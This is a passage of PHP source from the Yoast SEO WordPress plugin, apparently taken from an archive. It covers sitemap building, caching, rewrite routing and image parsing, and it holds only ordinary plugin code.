			if ( is_object( $provider ) && $provider instanceof WPSEO_Sitemap_Provider ) {
				$this->providers[] = $provider;
			}
		}
	}

	/**
	 * Check the current request URI, if we can determine it's probably an XML sitemap, kill loading the widgets.
	 *
	 * @return void
	 */
	public function reduce_query_load() {
		if ( ! isset( $_SERVER['REQUEST_URI'] ) ) {
			return;
		}
		$request_uri = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) );
		$extension   = substr( $request_uri, -4 );
		if ( stripos( $request_uri, 'sitemap' ) !== false && in_array( $extension, [ '.xml', '.xsl' ], true ) ) {
			remove_all_actions( 'widgets_init' );
		}
	}

	/**
	 * Register your own sitemap. Call this during 'init'.
	 *
	 * @param string   $name              The name of the sitemap.
	 * @param callback $building_function Function to build your sitemap.
	 * @param string   $rewrite           Optional. Regular expression to match your sitemap with.
	 *
	 * @return void
	 */
	public function register_sitemap( $name, $building_function, $rewrite = '' ) {
		add_action( 'wpseo_do_sitemap_' . $name, $building_function );
		if ( $rewrite ) {
			Yoast_Dynamic_Rewrites::instance()->add_rule( $rewrite, 'index.php?sitemap=' . $name, 'top' );
		}
	}

	/**
	 * Register your own XSL file. Call this during 'init'.
	 *
	 * @since 1.4.23
	 *
	 * @param string   $name              The name of the XSL file.
	 * @param callback $building_function Function to build your XSL file.
	 * @param string   $rewrite           Optional. Regular expression to match your sitemap with.
	 *
	 * @return void
	 */
	public function register_xsl( $name, $building_function, $rewrite = '' ) {
		add_action( 'wpseo_xsl_' . $name, $building_function );
		if ( $rewrite ) {
			Yoast_Dynamic_Rewrites::instance()->add_rule( $rewrite, 'index.php?yoast-sitemap-xsl=' . $name, 'top' );
		}
	}

	/**
	 * Set the sitemap current page to allow creating partial sitemaps with WP-CLI
	 * in a one-off process.
	 *
	 * @param int $current_page The part that should be generated.
	 *
	 * @return void
	 */
	public function set_n( $current_page ) {
		if ( is_scalar( $current_page ) && intval( $current_page ) > 0 ) {
			$this->current_page = intval( $current_page );
		}
	}

	/**
	 * Set the sitemap content to display after you have generated it.
	 *
	 * @param string $sitemap The generated sitemap to output.
	 *
	 * @return void
	 */
	public function set_sitemap( $sitemap ) {
		$this->sitemap = $sitemap;
	}

	/**
	 * Set as true to make the request 404. Used stop the display of empty sitemaps or invalid requests.
	 *
	 * @param bool $is_bad Is this a bad request. True or false.
	 *
	 * @return void
	 */
	public function set_bad_sitemap( $is_bad ) {
		$this->bad_sitemap = (bool) $is_bad;
	}

	/**
	 * Prevent stupid plugins from running shutdown scripts when we're obviously not outputting HTML.
	 *
	 * @since 1.4.16
	 *
	 * @return void
	 */
	public function sitemap_close() {
		remove_all_actions( 'wp_footer' );
		die();
	}

	/**
	 * Hijack requests for potential sitemaps and XSL files.
	 *
	 * @param WP_Query $query Main query instance.
	 *
	 * @return void
	 */
	public function redirect( $query ) {

		if ( ! $query->is_main_query() ) {
			return;
		}

		$yoast_sitemap_xsl = get_query_var( 'yoast-sitemap-xsl' );

		if ( ! empty( $yoast_sitemap_xsl ) ) {
			/*
			 * This is a method to provide the XSL via the home_url.
			 * Needed when the site_url and home_url are not the same.
			 * Loading the XSL needs to come from the same domain, protocol and port as the XML.
			 *
			 * Whenever home_url and site_url are the same, the file can be loaded directly.
			 */
			$this->xsl_output( $yoast_sitemap_xsl );
			$this->sitemap_close();

			return;
		}

		$type = get_query_var( 'sitemap' );

		if ( empty( $type ) ) {
			return;
		}

		if ( get_query_var( 'sitemap_n' ) === '1' || get_query_var( 'sitemap_n' ) === '0' ) {
			wp_safe_redirect( home_url( "/$type-sitemap.xml" ), 301, 'Yoast SEO' );
			exit;
		}

		$this->set_n( get_query_var( 'sitemap_n' ) );

		if ( ! $this->get_sitemap_from_cache( $type, $this->current_page ) ) {
			$this->build_sitemap( $type );
		}

		if ( $this->bad_sitemap ) {
			$query->set_404();
			status_header( 404 );

			return;
		}

		$this->output();
		$this->sitemap_close();
	}

	/**
	 * Try to get the sitemap from cache.
	 *
	 * @param string $type        Sitemap type.
	 * @param int    $page_number The page number to retrieve.
	 *
	 * @return bool If the sitemap has been retrieved from cache.
	 */
	private function get_sitemap_from_cache( $type, $page_number ) {

		$this->transient = false;

		if ( $this->cache->is_enabled() !== true ) {
			return false;
		}

		/**
		 * Fires before the attempt to retrieve XML sitemap from the transient cache.
		 *
		 * @param WPSEO_Sitemaps $sitemaps Sitemaps object.
		 */
		do_action( 'wpseo_sitemap_stylesheet_cache_' . $type, $this );

		$sitemap_cache_data = $this->cache->get_sitemap_data( $type, $page_number );

		// No cache was found, refresh it because cache is enabled.
		if ( empty( $sitemap_cache_data ) ) {
			return $this->refresh_sitemap_cache( $type, $page_number );
		}

		// Cache object was found, parse information.
		$this->transient = true;

		$this->sitemap     = $sitemap_cache_data->get_sitemap();
		$this->bad_sitemap = ! $sitemap_cache_data->is_usable();

		return true;
	}

	/**
	 * Build and save sitemap to cache.
	 *
	 * @param string $type        Sitemap type.
	 * @param int    $page_number The page number to save to.
	 *
	 * @return bool
	 */
	private function refresh_sitemap_cache( $type, $page_number ) {
		$this->set_n( $page_number );
		$this->build_sitemap( $type );

		return $this->cache->store_sitemap( $type, $page_number, $this->sitemap, ! $this->bad_sitemap );
	}

	/**
	 * Attempts to build the requested sitemap.
	 *
	 * Sets $bad_sitemap if this isn't for the root sitemap, a post type or taxonomy.
	 *
	 * @param string $type The requested sitemap's identifier.
	 *
	 * @return void
	 */
	public function build_sitemap( $type ) {

		/**
		 * Filter the type of sitemap to build.
		 *
		 * @param string $type Sitemap type, determined by the request.
		 */
		$type = apply_filters( 'wpseo_build_sitemap_post_type', $type );

		if ( $type === '1' ) {
			$this->build_root_map();

			return;
		}

		$entries_per_page = $this->get_entries_per_page();

		foreach ( $this->providers as $provider ) {
			if ( ! $provider->handles_type( $type ) ) {
				continue;
			}

			try {
				$links = $provider->get_sitemap_links( $type, $entries_per_page, $this->current_page );
			} catch ( OutOfBoundsException $exception ) {
				$this->bad_sitemap = true;

				return;
			}

			$this->sitemap = $this->renderer->get_sitemap( $links, $type, $this->current_page );

			return;
		}

		if ( has_action( 'wpseo_do_sitemap_' . $type ) ) {
			/**
			 * Fires custom handler, if hooked to generate sitemap for the type.
			 */
			do_action( 'wpseo_do_sitemap_' . $type );

			return;
		}

		$this->bad_sitemap = true;
	}

	/**
	 * Build the root sitemap (example.com/sitemap_index.xml) which lists sub-sitemaps for other content types.
	 *
	 * @return void
	 */
	public function build_root_map() {

		$links            = [];
		$entries_per_page = $this->get_entries_per_page();

		foreach ( $this->providers as $provider ) {
			$links = array_merge( $links, $provider->get_index_links( $entries_per_page ) );
		}

		/**
		 * Filter the sitemap links array before the index sitemap is built.
		 *
		 * @param array  $links Array of sitemap links
		 */
		$links = apply_filters( 'wpseo_sitemap_index_links', $links );

		if ( empty( $links ) ) {
			$this->bad_sitemap = true;
			$this->sitemap     = '';

			return;
		}

		$this->sitemap = $this->renderer->get_index( $links );
	}

	/**
	 * Spits out the XSL for the XML sitemap.
	 *
	 * @since 1.4.13
	 *
	 * @param string $type Type to output.
	 *
	 * @return void
	 */
	public function xsl_output( $type ) {

		if ( $type !== 'main' ) {

			/**
			 * Fires for the output of XSL for XML sitemaps, other than type "main".
			 */
			do_action( 'wpseo_xsl_' . $type );

			return;
		}

		header( $this->http_protocol . ' 200 OK', true, 200 );
		// Prevent the search engines from indexing the XML Sitemap.
		header( 'X-Robots-Tag: noindex, follow', true );
		header( 'Content-Type: text/xml' );

		// Make the browser cache this file properly.
		$expires = YEAR_IN_SECONDS;
		header( 'Pragma: public' );
		header( 'Cache-Control: max-age=' . $expires );
		header( 'Expires: ' . YoastSEO()->helpers->date->format_timestamp( ( time() + $expires ), 'D, d M Y H:i:s' ) . ' GMT' );

		// Don't use WP_Filesystem() here because that's not initialized yet. See https://yoast.atlassian.net/browse/QAK-2043.
		readfile( WPSEO_PATH . 'css/main-sitemap.xsl' );
	}

	/**
	 * Spit out the generated sitemap.
	 *
	 * @return void
	 */
	public function output() {
		$this->send_headers();
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaping sitemap as either xml or html results in empty document.
		echo $this->renderer->get_output( $this->sitemap );
	}

	/**
	 * Makes a request to the sitemap index to cache it before the arrival of the search engines.
	 *
	 * @return void
	 */
	public function hit_sitemap_index() {
		if ( ! $this->cache->is_enabled() ) {
			return;
		}

		wp_remote_get( WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ) );
	}

	/**
	 * Get the GMT modification date for the last modified post in the post type.
	 *
	 * @since 3.2
	 *
	 * @param string|array $post_types Post type or array of types.
	 * @param bool         $return_all Flag to return array of values.
	 *
	 * @return string|array|false
	 */
	public static function get_last_modified_gmt( $post_types, $return_all = false ) {

		global $wpdb;

		static $post_type_dates = null;

		if ( ! is_array( $post_types ) ) {
			$post_types = [ $post_types ];
		}

		foreach ( $post_types as $post_type ) {
			if ( ! isset( $post_type_dates[ $post_type ] ) ) { // If we hadn't seen post type before. R.
				$post_type_dates = null;
				break;
			}
		}

		if ( is_null( $post_type_dates ) ) {

			$post_type_dates = [];
			$post_type_names = WPSEO_Post_Type::get_accessible_post_types();

			if ( ! empty( $post_type_names ) ) {
				$post_statuses = array_map( 'esc_sql', self::get_post_statuses() );
				$replacements  = array_merge(
					[
						'post_type',
						'post_modified_gmt',
						'date',
						$wpdb->posts,
						'post_status',
					],
					$post_statuses,
					[ 'post_type' ],
					array_keys( $post_type_names ),
					[
						'post_type',
						'date',
					]
				);

				//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here.
				//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
				$dates = $wpdb->get_results(
					//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
					$wpdb->prepare(
						'
					SELECT %i, MAX(%i) AS %i
					FROM %i
					WHERE %i IN (' . implode( ', ', array_fill( 0, count( $post_statuses ), '%s' ) ) . ')
						AND %i IN (' . implode( ', ', array_fill( 0, count( $post_type_names ), '%s' ) ) . ')
					GROUP BY %i
					ORDER BY %i DESC
				',
						$replacements
					)
				);

				foreach ( $dates as $obj ) {
					$post_type_dates[ $obj->post_type ] = $obj->date;
				}
			}
		}

		$dates = array_intersect_key( $post_type_dates, array_flip( $post_types ) );

		if ( count( $dates ) > 0 ) {
			if ( $return_all ) {
				return $dates;
			}

			return max( $dates );
		}

		return false;
	}

	/**
	 * Get the modification date for the last modified post in the post type.
	 *
	 * @param array $post_types Post types to get the last modification date for.
	 *
	 * @return string
	 */
	public function get_last_modified( $post_types ) {
		return YoastSEO()->helpers->date->format( self::get_last_modified_gmt( $post_types ) );
	}

	/**
	 * Get the maximum number of entries per XML sitemap.
	 *
	 * @return int The maximum number of entries.
	 */
	protected function get_entries_per_page() {
		/**
		 * Filter the maximum number of entries per XML sitemap.
		 *
		 * After changing the output of the filter, make sure that you disable and enable the
		 * sitemaps to make sure the value is picked up for the sitemap cache.
		 *
		 * @param int $entries The maximum number of entries per XML sitemap.
		 */
		$entries = (int) apply_filters( 'wpseo_sitemap_entries_per_page', 1000 );

		return $entries;
	}

	/**
	 * Get post statuses for post_type or the root sitemap.
	 *
	 * @since 10.2
	 *
	 * @param string $type Provide a type for a post_type sitemap, SITEMAP_INDEX_TYPE for the root sitemap.
	 *
	 * @return array List of post statuses.
	 */
	public static function get_post_statuses( $type = self::SITEMAP_INDEX_TYPE ) {
		/**
		 * Filter post status list for sitemap query for the post type.
		 *
		 * @param array  $post_statuses Post status list, defaults to array( 'publish' ).
		 * @param string $type          Post type or SITEMAP_INDEX_TYPE.
		 */
		$post_statuses = apply_filters( 'wpseo_sitemap_post_statuses', [ 'publish' ], $type );

		if ( ! is_array( $post_statuses ) || empty( $post_statuses ) ) {
			$post_statuses = [ 'publish' ];
		}

		if ( ( $type === self::SITEMAP_INDEX_TYPE || $type === 'attachment' )
			&& ! in_array( 'inherit', $post_statuses, true )
		) {
			$post_statuses[] = 'inherit';
		}

		return $post_statuses;
	}

	/**
	 * Sends all the required HTTP Headers.
	 *
	 * @return void
	 */
	private function send_headers() {
		if ( headers_sent() ) {
			return;
		}

		$headers = [
			$this->http_protocol . ' 200 OK' => 200,
			// Prevent the search engines from indexing the XML Sitemap.
			'X-Robots-Tag: noindex, follow'  => '',
			'Content-Type: text/xml; charset=' . esc_attr( $this->renderer->get_output_charset() ) => '',
		];

		/**
		 * Filter the HTTP headers we send before an XML sitemap.
		 *
		 * @param array  $headers The HTTP headers we're going to send out.
		 */
		$headers = apply_filters( 'wpseo_sitemap_http_headers', $headers );

		foreach ( $headers as $header => $status ) {
			if ( is_numeric( $status ) ) {
				header( $header, true, $status );
				continue;
			}
			header( $header, true );
		}
	}
}
wordpress-seo/inc/sitemaps/class-sitemaps-router.php000064400000010707147510273100016742 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

use Yoast\WP\SEO\Conditionals\Deactivating_Yoast_Seo_Conditional;

/**
 * Rewrite setup and handling for sitemaps functionality.
 */
class WPSEO_Sitemaps_Router {

	/**
	 * Sets up init logic.
	 */
	public function __construct() {
		// If we add rewrite rules during the plugin's deactivation, the flush_rewrite_rules that we perform afterwards won't properly flush those new rules.
		if ( YoastSEO()->classes->get( Deactivating_Yoast_Seo_Conditional::class )->is_met() ) {
			return;
		}

		add_action( 'yoast_add_dynamic_rewrite_rules', [ $this, 'add_rewrite_rules' ] );
		add_filter( 'query_vars', [ $this, 'add_query_vars' ] );

		add_filter( 'redirect_canonical', [ $this, 'redirect_canonical' ] );
		add_action( 'template_redirect', [ $this, 'template_redirect' ], 0 );
	}

	/**
	 * Adds rewrite routes for sitemaps.
	 *
	 * @param Yoast_Dynamic_Rewrites $dynamic_rewrites Dynamic rewrites handler instance.
	 *
	 * @return void
	 */
	public function add_rewrite_rules( $dynamic_rewrites ) {
		$dynamic_rewrites->add_rule( 'sitemap_index\.xml$', 'index.php?sitemap=1', 'top' );
		$dynamic_rewrites->add_rule( '([^/]+?)-sitemap([0-9]+)?\.xml$', 'index.php?sitemap=$matches[1]&sitemap_n=$matches[2]', 'top' );
		$dynamic_rewrites->add_rule( '([a-z]+)?-?sitemap\.xsl$', 'index.php?yoast-sitemap-xsl=$matches[1]', 'top' );
	}

	/**
	 * Adds query variables for sitemaps.
	 *
	 * @param  array<string> $query_vars List of query variables to filter.
	 *
	 * @return array<string> Filtered query variables.
	 */
	public function add_query_vars( $query_vars ) {
		$query_vars[] = 'sitemap';
		$query_vars[] = 'sitemap_n';
		$query_vars[] = 'yoast-sitemap-xsl';

		return $query_vars;
	}

	/**
	 * Sets up rewrite rules.
	 *
	 * @deprecated 21.8
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function init() {
		_deprecated_function( __METHOD__, 'Yoast SEO 21.8' );
	}

	/**
	 * Stop trailing slashes on sitemap.xml URLs.
	 *
	 * @param string $redirect The redirect URL currently determined.
	 *
	 * @return bool|string
	 */
	public function redirect_canonical( $redirect ) {

		if ( get_query_var( 'sitemap' ) || get_query_var( 'yoast-sitemap-xsl' ) ) {
			return false;
		}

		return $redirect;
	}

	/**
	 * Redirects sitemap.xml to sitemap_index.xml.
	 *
	 * @return void
	 */
	public function template_redirect() {
		if ( ! $this->needs_sitemap_index_redirect() ) {
			return;
		}

		YoastSEO()->helpers->redirect->do_safe_redirect( home_url( '/sitemap_index.xml' ), 301, 'Yoast SEO' );
	}

	/**
	 * Checks whether the current request needs to be redirected to sitemap_index.xml.
	 *
	 * @global WP_Query $wp_query Current query.
	 *
	 * @return bool True if redirect is needed, false otherwise.
	 */
	public function needs_sitemap_index_redirect() {
		global $wp_query;

		$protocol = 'http://';
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		if ( ! empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) === 'on' ) {
			$protocol = 'https://';
		}

		$domain = '';
		if ( isset( $_SERVER['SERVER_NAME'] ) ) {
			$domain = sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) );
		}

		$path = '';
		if ( isset( $_SERVER['REQUEST_URI'] ) ) {
			$path = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) );
		}

		// Due to different environment configurations, we need to check both SERVER_NAME and HTTP_HOST.
		$check_urls = [ $protocol . $domain . $path ];
		if ( ! empty( $_SERVER['HTTP_HOST'] ) ) {
			$check_urls[] = $protocol . sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) . $path;
		}

		return $wp_query->is_404 && in_array( home_url( '/sitemap.xml' ), $check_urls, true );
	}

	/**
	 * Create base URL for the sitemap.
	 *
	 * @param string $page Page to append to the base URL.
	 *
	 * @return string base URL (incl page)
	 */
	public static function get_base_url( $page ) {

		global $wp_rewrite;

		$base = $wp_rewrite->using_index_permalinks() ? 'index.php/' : '/';

		/**
		 * Filter the base URL of the sitemaps.
		 *
		 * @param string $base The string that should be added to home_url() to make the full base URL.
		 */
		$base = apply_filters( 'wpseo_sitemaps_base_url', $base );

		/*
		 * Get the scheme from the configured home URL instead of letting WordPress
		 * determine the scheme based on the requested URI.
		 */
		return home_url( $base . $page, wp_parse_url( get_option( 'home' ), PHP_URL_SCHEME ) );
	}
}
wordpress-seo/inc/sitemaps/interface-sitemap-cache-data.php000064400000002315147510273100020040 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Cache Data interface.
 */
interface WPSEO_Sitemap_Cache_Data_Interface {

	/**
	 * Status for normal, usable sitemap.
	 *
	 * @var string
	 */
	public const OK = 'ok';

	/**
	 * Status for unusable sitemap.
	 *
	 * @var string
	 */
	public const ERROR = 'error';

	/**
	 * Status for unusable sitemap because it cannot be identified.
	 *
	 * @var string
	 */
	public const UNKNOWN = 'unknown';

	/**
	 * Set the content of the sitemap.
	 *
	 * @param string $sitemap The XML content of the sitemap.
	 *
	 * @return void
	 */
	public function set_sitemap( $sitemap );

	/**
	 * Set the status of the sitemap.
	 *
	 * @param bool|string $usable True/False or 'ok'/'error' for status.
	 *
	 * @return void
	 */
	public function set_status( $usable );

	/**
	 * Builds the sitemap.
	 *
	 * @return string The XML content of the sitemap.
	 */
	public function get_sitemap();

	/**
	 * Get the status of this sitemap.
	 *
	 * @return string Status 'ok', 'error' or 'unknown'.
	 */
	public function get_status();

	/**
	 * Is the sitemap content usable ?
	 *
	 * @return bool True if the sitemap is usable, False if not.
	 */
	public function is_usable();
}
wordpress-seo/inc/sitemaps/class-sitemap-image-parser.php000064400000027264147510273100017621 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Parses images from the given post.
 */
class WPSEO_Sitemap_Image_Parser {

	/**
	 * Holds the home_url() value to speed up loops.
	 *
	 * @var string
	 */
	protected $home_url = '';

	/**
	 * Holds site URL hostname.
	 *
	 * @var string
	 */
	protected $host = '';

	/**
	 * Holds site URL protocol.
	 *
	 * @var string
	 */
	protected $scheme = 'http';

	/**
	 * Cached set of attachments for multiple posts.
	 *
	 * @var array
	 */
	protected $attachments = [];

	/**
	 * Holds blog charset value for use in DOM parsing.
	 *
	 * @var string
	 */
	protected $charset = 'UTF-8';

	/**
	 * Set up URL properties for reuse.
	 */
	public function __construct() {

		$this->home_url = home_url();
		$parsed_home    = wp_parse_url( $this->home_url );

		if ( ! empty( $parsed_home['host'] ) ) {
			$this->host = str_replace( 'www.', '', $parsed_home['host'] );
		}

		if ( ! empty( $parsed_home['scheme'] ) ) {
			$this->scheme = $parsed_home['scheme'];
		}

		$this->charset = esc_attr( get_bloginfo( 'charset' ) );
	}

	/**
	 * Get set of image data sets for the given post.
	 *
	 * @param object $post Post object to get images for.
	 *
	 * @return array
	 */
	public function get_images( $post ) {

		$images = [];

		if ( ! is_object( $post ) ) {
			return $images;
		}

		$thumbnail_id = get_post_thumbnail_id( $post->ID );

		if ( $thumbnail_id ) {

			$src      = $this->get_absolute_url( $this->image_url( $thumbnail_id ) );
			$images[] = $this->get_image_item( $post, $src );
		}

		/**
		 * Filter: 'wpseo_sitemap_content_before_parse_html_images' - Filters the post content
		 * before it is parsed for images.
		 *
		 * @param string $content The raw/unprocessed post content.
		 */
		$content = apply_filters( 'wpseo_sitemap_content_before_parse_html_images', $post->post_content );

		$unfiltered_images = $this->parse_html_images( $content );

		foreach ( $unfiltered_images as $image ) {
			$images[] = $this->get_image_item( $post, $image['src'] );
		}

		foreach ( $this->parse_galleries( $content, $post->ID ) as $attachment ) {
			$src      = $this->get_absolute_url( $this->image_url( $attachment->ID ) );
			$images[] = $this->get_image_item( $post, $src );
		}

		if ( $post->post_type === 'attachment' && wp_attachment_is_image( $post ) ) {
			$src      = $this->get_absolute_url( $this->image_url( $post->ID ) );
			$images[] = $this->get_image_item( $post, $src );
		}

		foreach ( $images as $key => $image ) {

			if ( empty( $image['src'] ) ) {
				unset( $images[ $key ] );
			}
		}

		/**
		 * Filter images to be included for the post in XML sitemap.
		 *
		 * @param array $images  Array of image items.
		 * @param int   $post_id ID of the post.
		 */
		$image_list = apply_filters( 'wpseo_sitemap_urlimages', $images, $post->ID );
		if ( isset( $image_list ) && is_array( $image_list ) ) {
			$images = $image_list;
		}

		return $images;
	}

	/**
	 * Get the images in the term description.
	 *
	 * @param object $term Term to get images from description for.
	 *
	 * @return array
	 */
	public function get_term_images( $term ) {

		$images = $this->parse_html_images( $term->description );

		foreach ( $this->parse_galleries( $term->description ) as $attachment ) {

			$images[] = [
				'src'   => $this->get_absolute_url( $this->image_url( $attachment->ID ) ),
			];
		}

		/**
		 * Filter images to be included for the term in XML sitemap.
		 *
		 * @param array $image_list Array of image items.
		 * @param int   $term_id    ID of the post.
		 */
		$image_list = apply_filters( 'wpseo_sitemap_urlimages_term', $images, $term->term_id );
		if ( isset( $image_list ) && is_array( $image_list ) ) {
			$images = $image_list;
		}

		return $images;
	}

	/**
	 * Parse `<img />` tags in content.
	 *
	 * @param string $content Content string to parse.
	 *
	 * @return array
	 */
	private function parse_html_images( $content ) {

		$images = [];

		if ( ! class_exists( 'DOMDocument' ) ) {
			return $images;
		}

		if ( empty( $content ) ) {
			return $images;
		}

		// Prevent DOMDocument from bubbling warnings about invalid HTML.
		libxml_use_internal_errors( true );

		$post_dom = new DOMDocument();
		$post_dom->loadHTML( '<?xml encoding="' . $this->charset . '">' . $content );

		// Clear the errors, so they don't get kept in memory.
		libxml_clear_errors();

		/**
		 * Image attribute.
		 *
		 * @var DOMElement $img
		 */
		foreach ( $post_dom->getElementsByTagName( 'img' ) as $img ) {

			$src = $img->getAttribute( 'src' );

			if ( empty( $src ) ) {
				continue;
			}

			$class = $img->getAttribute( 'class' );

			if ( // This detects WP-inserted images, which we need to upsize. R.
				! empty( $class )
				&& ( strpos( $class, 'size-full' ) === false )
				&& preg_match( '|wp-image-(?P<id>\d+)|', $class, $matches )
				&& get_post_status( $matches['id'] )
			) {
				$query_params = wp_parse_url( $src, PHP_URL_QUERY );
				$src          = $this->image_url( $matches['id'] );

				if ( $query_params ) {
					$src .= '?' . $query_params;
				}
			}

			$src = $this->get_absolute_url( $src );

			if ( strpos( $src, $this->host ) === false ) {
				continue;
			}

			if ( $src !== esc_url( $src, null, 'attribute' ) ) {
				continue;
			}

			$images[] = [
				'src'   => $src,
			];
		}

		return $images;
	}

	/**
	 * Parse gallery shortcodes in a given content.
	 *
	 * @param string $content Content string.
	 * @param int    $post_id Optional. ID of post being parsed.
	 *
	 * @return array Set of attachment objects.
	 */
	protected function parse_galleries( $content, $post_id = 0 ) {

		$attachments = [];
		$galleries   = $this->get_content_galleries( $content );

		foreach ( $galleries as $gallery ) {

			$id = $post_id;

			if ( ! empty( $gallery['id'] ) ) {
				$id = intval( $gallery['id'] );
			}

			// Forked from core gallery_shortcode() to have exact same logic. R.
			if ( ! empty( $gallery['ids'] ) ) {
				$gallery['include'] = $gallery['ids'];
			}

			$gallery_attachments = $this->get_gallery_attachments( $id, $gallery );

			$attachments = array_merge( $attachments, $gallery_attachments );
		}

		return array_unique( $attachments, SORT_REGULAR );
	}

	/**
	 * Retrieves galleries from the passed content.
	 *
	 * Forked from core to skip executing shortcodes for performance.
	 *
	 * @param string $content Content to parse for shortcodes.
	 *
	 * @return array A list of arrays, each containing gallery data.
	 */
	protected function get_content_galleries( $content ) {

		$galleries = [];

		if ( ! preg_match_all( '/' . get_shortcode_regex( [ 'gallery' ] ) . '/s', $content, $matches, PREG_SET_ORDER ) ) {
			return $galleries;
		}

		foreach ( $matches as $shortcode ) {

			$attributes = shortcode_parse_atts( $shortcode[3] );

			if ( $attributes === '' ) { // Valid shortcode without any attributes. R.
				$attributes = [];
			}

			$galleries[] = $attributes;
		}

		return $galleries;
	}

	/**
	 * Get image item array with filters applied.
	 *
	 * @param WP_Post $post Post object for the context.
	 * @param string  $src  Image URL.
	 *
	 * @return array
	 */
	protected function get_image_item( $post, $src ) {

		$image = [];

		/**
		 * Filter image URL to be included in XML sitemap for the post.
		 *
		 * @param string $src  Image URL.
		 * @param object $post Post object.
		 */
		$image['src'] = apply_filters( 'wpseo_xml_sitemap_img_src', $src, $post );

		/**
		 * Filter image data to be included in XML sitemap for the post.
		 *
		 * @param array  $image {
		 *     Array of image data.
		 *
		 *     @type string  $src   Image URL.
		 * }
		 *
		 * @param object $post  Post object.
		 */
		return apply_filters( 'wpseo_xml_sitemap_img', $image, $post );
	}

	/**
	 * Get attached image URL with filters applied. Adapted from core for speed.
	 *
	 * @param int $post_id ID of the post.
	 *
	 * @return string
	 */
	private function image_url( $post_id ) {

		static $uploads;

		if ( empty( $uploads ) ) {
			$uploads = wp_upload_dir();
		}

		if ( $uploads['error'] !== false ) {
			return '';
		}

		$file = get_post_meta( $post_id, '_wp_attached_file', true );

		if ( empty( $file ) ) {
			return '';
		}

		// Check that the upload base exists in the file location.
		if ( strpos( $file, $uploads['basedir'] ) === 0 ) {
			$src = str_replace( $uploads['basedir'], $uploads['baseurl'], $file );
		}
		elseif ( strpos( $file, 'wp-content/uploads' ) !== false ) {
			$src = $uploads['baseurl'] . substr( $file, ( strpos( $file, 'wp-content/uploads' ) + 18 ) );
		}
		else {
			// It's a newly uploaded file, therefore $file is relative to the baseurl.
			$src = $uploads['baseurl'] . '/' . $file;
		}

		return apply_filters( 'wp_get_attachment_url', $src, $post_id );
	}

	/**
	 * Make absolute URL for domain or protocol-relative one.
	 *
	 * @param string $src URL to process.
	 *
	 * @return string
	 */
	protected function get_absolute_url( $src ) {

		if ( empty( $src ) || ! is_string( $src ) ) {
			return $src;
		}

		if ( YoastSEO()->helpers->url->is_relative( $src ) === true ) {

			if ( $src[0] !== '/' ) {
				return $src;
			}

			// The URL is relative, we'll have to make it absolute.
			return $this->home_url . $src;
		}

		if ( strpos( $src, 'http' ) !== 0 ) {
			// Protocol relative URL, we add the scheme as the standard requires a protocol.
			return $this->scheme . ':' . $src;
		}

		return $src;
	}

	/**
	 * Returns the attachments for a gallery.
	 *
	 * @param int   $id      The post ID.
	 * @param array $gallery The gallery config.
	 *
	 * @return array The selected attachments.
	 */
	protected function get_gallery_attachments( $id, $gallery ) {

		// When there are attachments to include.
		if ( ! empty( $gallery['include'] ) ) {
			return $this->get_gallery_attachments_for_included( $gallery['include'] );
		}

		// When $id is empty, just return empty array.
		if ( empty( $id ) ) {
			return [];
		}

		return $this->get_gallery_attachments_for_parent( $id, $gallery );
	}

	/**
	 * Returns the attachments for the given ID.
	 *
	 * @param int   $id      The post ID.
	 * @param array $gallery The gallery config.
	 *
	 * @return array The selected attachments.
	 */
	protected function get_gallery_attachments_for_parent( $id, $gallery ) {
		$query = [
			'posts_per_page' => -1,
			'post_parent'    => $id,
		];

		// When there are posts that should be excluded from result set.
		if ( ! empty( $gallery['exclude'] ) ) {
			$query['post__not_in'] = wp_parse_id_list( $gallery['exclude'] );
		}

		return $this->get_attachments( $query );
	}

	/**
	 * Returns an array with attachments for the post IDs that will be included.
	 *
	 * @param array $included_ids Array with IDs to include.
	 *
	 * @return array The found attachments.
	 */
	protected function get_gallery_attachments_for_included( $included_ids ) {
		$ids_to_include = wp_parse_id_list( $included_ids );
		$attachments    = $this->get_attachments(
			[
				'posts_per_page' => count( $ids_to_include ),
				'post__in'       => $ids_to_include,
			]
		);

		$gallery_attachments = [];
		foreach ( $attachments as $val ) {
			$gallery_attachments[ $val->ID ] = $val;
		}

		return $gallery_attachments;
	}

	/**
	 * Returns the attachments.
	 *
	 * @param array $args Array with query args.
	 *
	 * @return array The found attachments.
	 */
	protected function get_attachments( $args ) {
		$default_args = [
			'post_status'         => 'inherit',
			'post_type'           => 'attachment',
			'post_mime_type'      => 'image',

			// Defaults taken from function get_posts.
			'orderby'             => 'date',
			'order'               => 'DESC',
			'meta_key'            => '',
			'meta_value'          => '',
			'suppress_filters'    => true,
			'ignore_sticky_posts' => true,
			'no_found_rows'       => true,
		];

		$args = wp_parse_args( $args, $default_args );

		$get_attachments = new WP_Query();
		return $get_attachments->query( $args );
	}
}
wordpress-seo/inc/sitemaps/class-sitemaps-admin.php000064400000005736147510273100016520 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\XML Sitemaps
 */

/**
 * Class that handles the Admin side of XML sitemaps.
 */
class WPSEO_Sitemaps_Admin {

	/**
	 * Post_types that are being imported.
	 *
	 * @var array
	 */
	private $importing_post_types = [];

	/**
	 * Class constructor.
	 */
	public function __construct() {
		add_action( 'transition_post_status', [ $this, 'status_transition' ], 10, 3 );
